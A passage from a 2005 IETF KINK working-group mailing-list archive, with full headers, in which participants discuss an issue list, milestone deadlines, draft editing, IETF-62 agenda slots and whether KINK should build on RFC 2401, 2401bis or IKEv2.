List-Archive: List-Unsubscribe: List-ID: At Thu, 20 Jan 2005 10:11:05 -0800, Michael Thomas wrote: > > Maybe what > we can do is keep a master list here, the proposed > resolution, or whether to close the issue due to it being > not a problem. Yes, I'll maintain this list. I'll do that in e-mails for a meanwhile, and if things become complicated I may prepare an issue tracker. -- KAMADA Ken'ichi From owner-ietf-kink Thu Jan 20 16:08:28 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0L08SIq051349; Thu, 20 Jan 2005 16:08:28 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0L08SPd051348; Thu, 20 Jan 2005 16:08:28 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0L08R4L051131 for ; Thu, 20 Jan 2005 16:08:27 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id DA61E1FBC2; Fri, 21 Jan 2005 09:08:05 +0900 (JST) Date: Fri, 21 Jan 2005 09:08:04 +0900 (JST) Message-Id: <20050121.090804.81663863.nov@tahi.org> To: hartmans-ietf@mit.edu Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] From: Nobuo OKABE In-Reply-To: References: <20050120.102207.68299999.nov@tahi.org> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Sam Hartman Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] Date: Thu, 20 Jan 2005 11:22:04 -0500 > >>>>> "Nobuo" == Nobuo OKABE writes: > > Nobuo> It seems fair to me to postpone the date of fixing the > Nobuo> milestones from February 7 to after IETF62. Because the > Nobuo> progress of 1401bis has impact against the KINK draft. > > I'm uncomfortable with doing this. I think that we can set deadlines > now. If we find interesting new facts we can change the deadlines. > I'll listen to concerns from the chairs if they believe they will not > be able to get milestones ready by February 7 and evaluate those > concerns. My concern has resolved by the new milestones proposed by the chair (Jan 19, 2005). So I don't object to what you are saying here. ----- nobuo From owner-ietf-kink Thu Jan 20 17:53:31 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0L1rVk9068017; Thu, 20 Jan 2005 17:53:31 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0L1rVks068016; Thu, 20 Jan 2005 17:53:31 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-1.cisco.com (sj-iport-1-in.cisco.com [171.71.176.70]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0L1rVlt067979 for ; Thu, 20 Jan 2005 17:53:31 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-1.cisco.com with ESMTP; 20 Jan 2005 18:00:24 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j0L1rLl2001646; Thu, 20 Jan 2005 17:53:21 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j0L1npAJ006698; Thu, 20 Jan 2005 17:49:51 -0800 Subject: Re: KINK issue list From: Michael Thomas To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org In-Reply-To: <20050121095820RV%kamada@nanohz.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <1106244665.2953.78.camel@thomasm-lnx.cisco.com> <20050121095820RV%kamada@nanohz.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-gZkN8kHUSfMBldd7uhNG" Organization: Cisco Systems Message-Id: <1106272402.2953.86.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Thu, 20 Jan 2005 17:53:22 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1106272191.244457"; x:"432200"; a:"rsa-sha1"; b:"nofws:924"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"sAg6zkld4/u0IZtbXIy2KLez4An/JbN9Te7nvOxVGQJgfoJPYCgMOPnb2edldFOkYoHgGIVG" "cnqgzRBMfPezqApIY0gDEqv0aya4j1aPy7tehmN6Aglw6iG9jmGX2lH+wp90/5YQsDWSrozWwuG" "Q8917eHhDtq+gcZLByOrj4ss="; c:"Subject: Re: KINK issue list"; c:"From: Michael Thomas "; c:"Date: Thu, 20 Jan 2005 17:53:22 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-gZkN8kHUSfMBldd7uhNG Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Thu, 2005-01-20 at 16:58, KAMADA Ken'ichi wrote: > At Thu, 20 Jan 2005 10:11:05 -0800, > Michael Thomas wrote: > >=20 > > Maybe what > > we can do is keep a master list here, the proposed=20 > > resolution, or whether to close the issue due to it being > > not a problem. >=20 > Yes, I'll maintain this list. I'll do that in e-mails for a > meanwhile, and if things become complicated I may prepare an > issue tracker. Excellent, this will be a big help. I really appreciate the help. Mike --=-gZkN8kHUSfMBldd7uhNG Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQfBgkrMsDAj/Eq++AQIBOAQAi473a+ZP1igGgH4R9Ih8LXgZMEHvDVJf p5Nu3dAu7MISkLBhRBxPGx55HCOx3SgEBG0AqtJa4/DUT8X16ZQOnggP9AVUXIWw 9Ovqpy+mhiNvBB5r6vtGGpuzgNwsTPtItlwOL4JJqLkNh5vGQA9HVkuEoJouvg0Z i/nNSiKVxLc= =7gzp -----END PGP SIGNATURE----- --=-gZkN8kHUSfMBldd7uhNG-- From owner-ietf-kink Thu Jan 20 20:52:11 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0L4qB5W082293; Thu, 20 Jan 2005 20:52:11 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0L4qB7H082292; Thu, 20 Jan 2005 20:52:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0L4qAmp082278 for ; Thu, 20 Jan 2005 20:52:10 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:1d77:4b64:9367:d0ec] ([2001:240:2:0:1d77:4b64:9367:d0ec]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,128bits,RC4-MD5) by miyazawa.org with esmtp; Fri, 21 Jan 2005 13:45:26 +0900 id 000008FF.41F088E6.000011B0 Message-ID: <41F08A3F.4060103@miyazawa.org> Date: Fri, 21 Jan 2005 13:51:11 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: Sam Hartman CC: ietf-kink@vpnc.org Subject: Re: who will edit the draft ? References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Sam Hartman wrote: >>>>>>"Michael" == Michael Thomas writes: > > * A presentation making sure we understand the difference between > 2401bis conformance and ikev2 conformance Excuse me, I could not understand above sentence. RFC2401bis specifies IP security archietecture. However, IKEv2 is the key exchange protocol. Does it mean whether any confilict between RFC2401bis and IKEv2 is when we implement them? -- Kazunori Miyazawa From owner-ietf-kink Sat Jan 22 07:16:49 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0MFGnPn010593; Sat, 22 Jan 2005 07:16:49 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0MFGnST010592; Sat, 22 Jan 2005 07:16:49 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (vomit-synonyms.naming-schemes.org [67.65.18.118]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0MFGm8Z010585 for ; Sat, 22 Jan 2005 07:16:48 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 7D9B0E0077; Fri, 21 Jan 2005 15:45:27 -0500 (EST) To: Kazunori Miyazawa Cc: ietf-kink@vpnc.org Subject: Re: who will edit the draft ? References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> <41F08A3F.4060103@miyazawa.org> From: Sam Hartman Date: Fri, 21 Jan 2005 11:33:23 -0500 In-Reply-To: <41F08A3F.4060103@miyazawa.org> (Kazunori Miyazawa's message of "Fri, 21 Jan 2005 13:51:11 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Kazunori" == Kazunori Miyazawa writes: Kazunori> RFC2401bis specifies IP security archietecture. Kazunori> However, IKEv2 is the key exchange protocol. I think some people on this list have assumed that when I said we need to comply with 2401bis that I invisioned changing our references to ikev2 instead of ikev1. These issues seem to be complicated because 2401bis mandates ikev2 although it still supports ikev1 as an option. I want to make sure this distinction is untangled for the group. --Sam From owner-ietf-kink Tue Jan 25 17:43:24 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q1hOZs036087; Tue, 25 Jan 2005 17:43:24 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0Q1hOuP036086; Tue, 25 Jan 2005 17:43:24 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q1hEVV036060 for ; Tue, 25 Jan 2005 17:43:14 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id B7D621FBC2; Wed, 26 Jan 2005 10:42:54 +0900 (JST) Date: Wed, 26 Jan 2005 10:42:54 +0900 (JST) Message-Id: <20050126.104254.59908100.nov@tahi.org> To: derek@ihtfp.com Cc: mat@cisco.com, sakane@kame.net, ietf-kink@vpnc.org Subject: Re: who will edit the draft ? From: Nobuo OKABE In-Reply-To: References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Dear Chairs, From: Derek Atkins Subject: Re: who will edit the draft ? Date: Wed, 19 Jan 2005 21:03:09 -0500 > > Has a decision been made on wg meeting in MPLS? > > I'm hoping that the issues don't require a f2f > > meeting, but it would be good to know one way or > > the other. > > I'm willing to go either way. If the WG believes we need a face to > face meeting then I'll gladly arrange for one. Yes please. I also think that WG needs a meeting. The agenda which Sam has proposed is good for the start. It will be fixed through discussion on the ML. I would be happy if the meeting is not held Friday when I will go back to Japan because of my business reasons. However, I can re-arrange my travel schedule at this moment if necessary. So please let me know the (possible) day of the meeting. Thank you for your help ----- nobuo From owner-ietf-kink Tue Jan 25 18:25:11 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q2P9YL039695; Tue, 25 Jan 2005 18:25:10 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0Q2P9ab039683; Tue, 25 Jan 2005 18:25:09 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q2OXWU039600 for ; Tue, 25 Jan 2005 18:25:00 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 620F71FBC2; Wed, 26 Jan 2005 11:24:33 +0900 (JST) Date: Wed, 26 Jan 2005 11:24:33 +0900 (JST) Message-Id: <20050126.112433.102614487.nov@tahi.org> To: derek@ihtfp.com Cc: sakane@kame.net, ietf-kink@vpnc.org Subject: Re: who will edit the draft ? From: Nobuo OKABE In-Reply-To: References: <20050120102450Q.sakane@kame.net> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Derek Atkins Subject: Re: who will edit the draft ? Date: Wed, 19 Jan 2005 20:45:02 -0500 > Based on the existing set of issues I do not believe that your > suggestions are reasonable -- they are way too aggresive. I really do > not believe that we'll reach consensus by April. I think we have way > too many issues. Perhaps a better proposal for milestones are: > > Mar 05 Review issues with kink-06 > Mar 05 Submit kink-07 > Jun 05 Reach consensus on necessary changes > Jul 05 Submit kink-08 > Aug 05 WGLC > Sep 05 Submit draft to IESG > Jan 06 Begin Interop bakeoffs > Feb 06 Document interop results. > > Even this schedule is extremely agrressive, but IMHO actually > achievable. I don't think we can get concensus on all the open issues > and make it past the IESG before Paris. I think that the milestones are reasonable to recover the stall even though it is very aggressive. >From implementor's viewpoint, we would like to fix the spec ASAP. Please clear the meaning of "Mar 05 Review issues with kink-06". I'm not sure, but we will not be able to reflect any effort if review starts from March. The most difficult part would be "Mar 05 Submit kink-07". What should be the goal of draft-07? The contents of the draft-07 can be a halfway if we can not solve almost issues. # and we don't have enough time to March. thanks, ----- nobuo From owner-ietf-kink Tue Jan 25 19:49:16 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q3nGPV045784; Tue, 25 Jan 2005 19:49:16 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0Q3nGhh045783; Tue, 25 Jan 2005 19:49:16 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q3nFFJ045775 for ; Tue, 25 Jan 2005 19:49:15 -0800 (PST) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j0Q3nDEm012730 for ; Tue, 25 Jan 2005 22:49:13 -0500 (EST) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.12.4/8.12.4) with ESMTP id j0Q3nBsR014336 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Tue, 25 Jan 2005 22:49:12 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <20050126.104254.59908100.nov@tahi.org> References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> <20050126.104254.59908100.nov@tahi.org> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: Re: who will edit the draft ? Date: Tue, 25 Jan 2005 22:49:09 -0500 To: ietf-kink@vpnc.org X-Mailer: Apple Mail (2.619.2) X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Jan 25, 2005, at 20:42, Nobuo OKABE wrote: > I also think that WG needs a meeting. > The agenda which Sam has proposed is good for the start. > It will be fixed through discussion on the ML. > > I would be happy if the meeting is not held Friday > when I will go back to Japan because of my business reasons. > However, I can re-arrange my travel schedule at this moment > if necessary. > So please let me know the (possible) day of the meeting. The schedule typically isn't set until shortly before the conference, and in fact is still subject to change even then. Ken From owner-ietf-kink Tue Jan 25 20:01:05 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q415W9046995; Tue, 25 Jan 2005 20:01:05 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0Q414Vk046993; Tue, 25 Jan 2005 20:01:04 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q40xTZ046960 for ; Tue, 25 Jan 2005 20:00:59 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 4B80F1FBC2 for ; Wed, 26 Jan 2005 13:00:58 +0900 (JST) Date: Wed, 26 Jan 2005 13:00:57 +0900 (JST) Message-Id: <20050126.130057.85807426.nov@tahi.org> To: ietf-kink@vpnc.org Subject: Re: who will edit the draft ? From: Nobuo OKABE In-Reply-To: References: <20050126.104254.59908100.nov@tahi.org> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Ken Raeburn Subject: Re: who will edit the draft ? Date: Tue, 25 Jan 2005 22:49:09 -0500 > > On Jan 25, 2005, at 20:42, Nobuo OKABE wrote: > > I also think that WG needs a meeting. > > The agenda which Sam has proposed is good for the start. > > It will be fixed through discussion on the ML. > > > > I would be happy if the meeting is not held Friday > > when I will go back to Japan because of my business reasons. > > However, I can re-arrange my travel schedule at this moment > > if necessary. > > So please let me know the (possible) day of the meeting. > > The schedule typically isn't set until shortly before the conference, > and in fact is still subject to change even then. OK. I'll try to re-arrange my travel schedule. Thank you for your advice. ----- nobuo From owner-ietf-kink Tue Jan 25 20:20:33 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q4KVNB048771; Tue, 25 Jan 2005 20:20:32 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0Q4KU4O048770; Tue, 25 Jan 2005 20:20:31 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from dogbert.ihtfp.org (me@[204.107.200.33]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q4K73Z048698 for ; Tue, 25 Jan 2005 20:20:13 -0800 (PST) (envelope-from warlord@MIT.EDU) Received: (from warlord@localhost) by dogbert.ihtfp.org (8.12.9) id j0Q4IOfJ000425; Tue, 25 Jan 2005 23:18:24 -0500 From: Derek Atkins To: Nobuo OKABE Cc: sakane@kame.net, ietf-kink@vpnc.org Subject: Re: who will edit the draft ? References: <20050120102450Q.sakane@kame.net> <20050126.112433.102614487.nov@tahi.org> Date: Tue, 25 Jan 2005 23:18:24 -0500 In-Reply-To: <20050126.112433.102614487.nov@tahi.org> (Nobuo OKABE's message of "Wed, 26 Jan 2005 11:24:33 +0900 (JST)") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Nobuo OKABE writes: > Please clear the meaning of "Mar 05 Review issues with kink-06". > I'm not sure, but we will not be able to reflect any effort > if review starts from March. Milestones are completion dates, not commencement dates. This means that by March, 2005 we should have completed review of the issues with kink-06. > The most difficult part would be "Mar 05 Submit kink-07". > What should be the goal of draft-07? draft 07 should have the changes that reflect the concensus of changes based on the issues of draft-06. > The contents of the draft-07 can be a halfway > if we can not solve almost issues. > # and we don't have enough time to March. Drafts are easy. If it were me I'd say we should have a new draft every 2-4 weeks. But I'm not the editor. Please don't get caught up in draft numbers. -derek -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Tue Jan 25 20:21:25 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q4LOYb048899; Tue, 25 Jan 2005 20:21:24 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0Q4LOXQ048898; Tue, 25 Jan 2005 20:21:24 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from dogbert.ihtfp.org (me@DOGBERT.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q4LNGt048892 for ; Tue, 25 Jan 2005 20:21:24 -0800 (PST) (envelope-from warlord@MIT.EDU) Received: (from warlord@localhost) by dogbert.ihtfp.org (8.12.9) id j0Q4JbZ1000434; Tue, 25 Jan 2005 23:19:37 -0500 From: Derek Atkins To: Nobuo OKABE Cc: mat@cisco.com, sakane@kame.net, ietf-kink@vpnc.org Subject: Agenda items (was: Re: who will edit the draft ?) References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> <20050126.104254.59908100.nov@tahi.org> Date: Tue, 25 Jan 2005 23:19:37 -0500 In-Reply-To: <20050126.104254.59908100.nov@tahi.org> (Nobuo OKABE's message of "Wed, 26 Jan 2005 10:42:54 +0900 (JST)") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Nobuo OKABE writes: > I also think that WG needs a meeting. An agenda slot has been requested for IETF-62. If you have a presentation you'd like to make I humbly request agenda items for the meeting. Thanks, -derek -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Tue Jan 25 20:40:51 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q4epi0049900; Tue, 25 Jan 2005 20:40:51 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0Q4ep8n049899; Tue, 25 Jan 2005 20:40:51 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0Q4ejgx049891 for ; Tue, 25 Jan 2005 20:40:46 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 71C961FBC4; Wed, 26 Jan 2005 13:40:45 +0900 (JST) Date: Wed, 26 Jan 2005 13:40:45 +0900 (JST) Message-Id: <20050126.134045.34663171.nov@tahi.org> To: derek@ihtfp.com Cc: mat@cisco.com, sakane@kame.net, ietf-kink@vpnc.org Subject: Re: Agenda items From: Nobuo OKABE In-Reply-To: References: <20050126.104254.59908100.nov@tahi.org> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Derek Atkins Subject: Agenda items (was: Re: who will edit the draft ?) Date: Tue, 25 Jan 2005 23:19:37 -0500 > > I also think that WG needs a meeting. > > An agenda slot has been requested for IETF-62. If you have a > presentation you'd like to make I humbly request agenda items for the > meeting. We are considering one (or more?) of agenda items, and will let you know when taking shape. thanks, ----- nobuo From owner-ietf-kink Wed Jan 26 21:35:11 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0R5ZBgt099671; Wed, 26 Jan 2005 21:35:11 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0R5ZB9n099670; Wed, 26 Jan 2005 21:35:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0R5Z6De099643 for ; Wed, 26 Jan 2005 21:35:10 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j0R5Z2hB075057 for ; Thu, 27 Jan 2005 14:35:02 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? In-Reply-To: Your message of "Thu, 20 Jan 2005 14:57:49 -0500" References: X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050127143507Z.sakane@kame.net> Date: Thu, 27 Jan 2005 14:35:07 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 15 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Speaking as an AD, if 2401bis is approved by IETF 62, Kink will be > based on 2401bis. If not, then it depends on where 2401bis is, where > Kink is, and how fast things are moving. I dont understand why KINK will be based on 2401bis when 2401bis is approved by IETF62. There are lots of platforms based on 2401. KINK should be based on 2401 in order to deploy it. If the market will not choice 2401bis and if a kink implementation based on 2401bis does not work on a platform based on 2401, then KINK will not deploy. it is not easy to know how difference between 2401bis and 2401, and it is not easy to know if a key management daemon based on 2401bis will work on a platform based on 2401. so I said in previous mail that we should make kink based on 2401 then make kink based on 2401bis. kink header has a version field. From owner-ietf-kink Thu Jan 27 00:15:47 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0R8Flcv068816; Thu, 27 Jan 2005 00:15:47 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0R8Flql068812; Thu, 27 Jan 2005 00:15:47 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0R8Fkgq068794 for ; Thu, 27 Jan 2005 00:15:46 -0800 (PST) 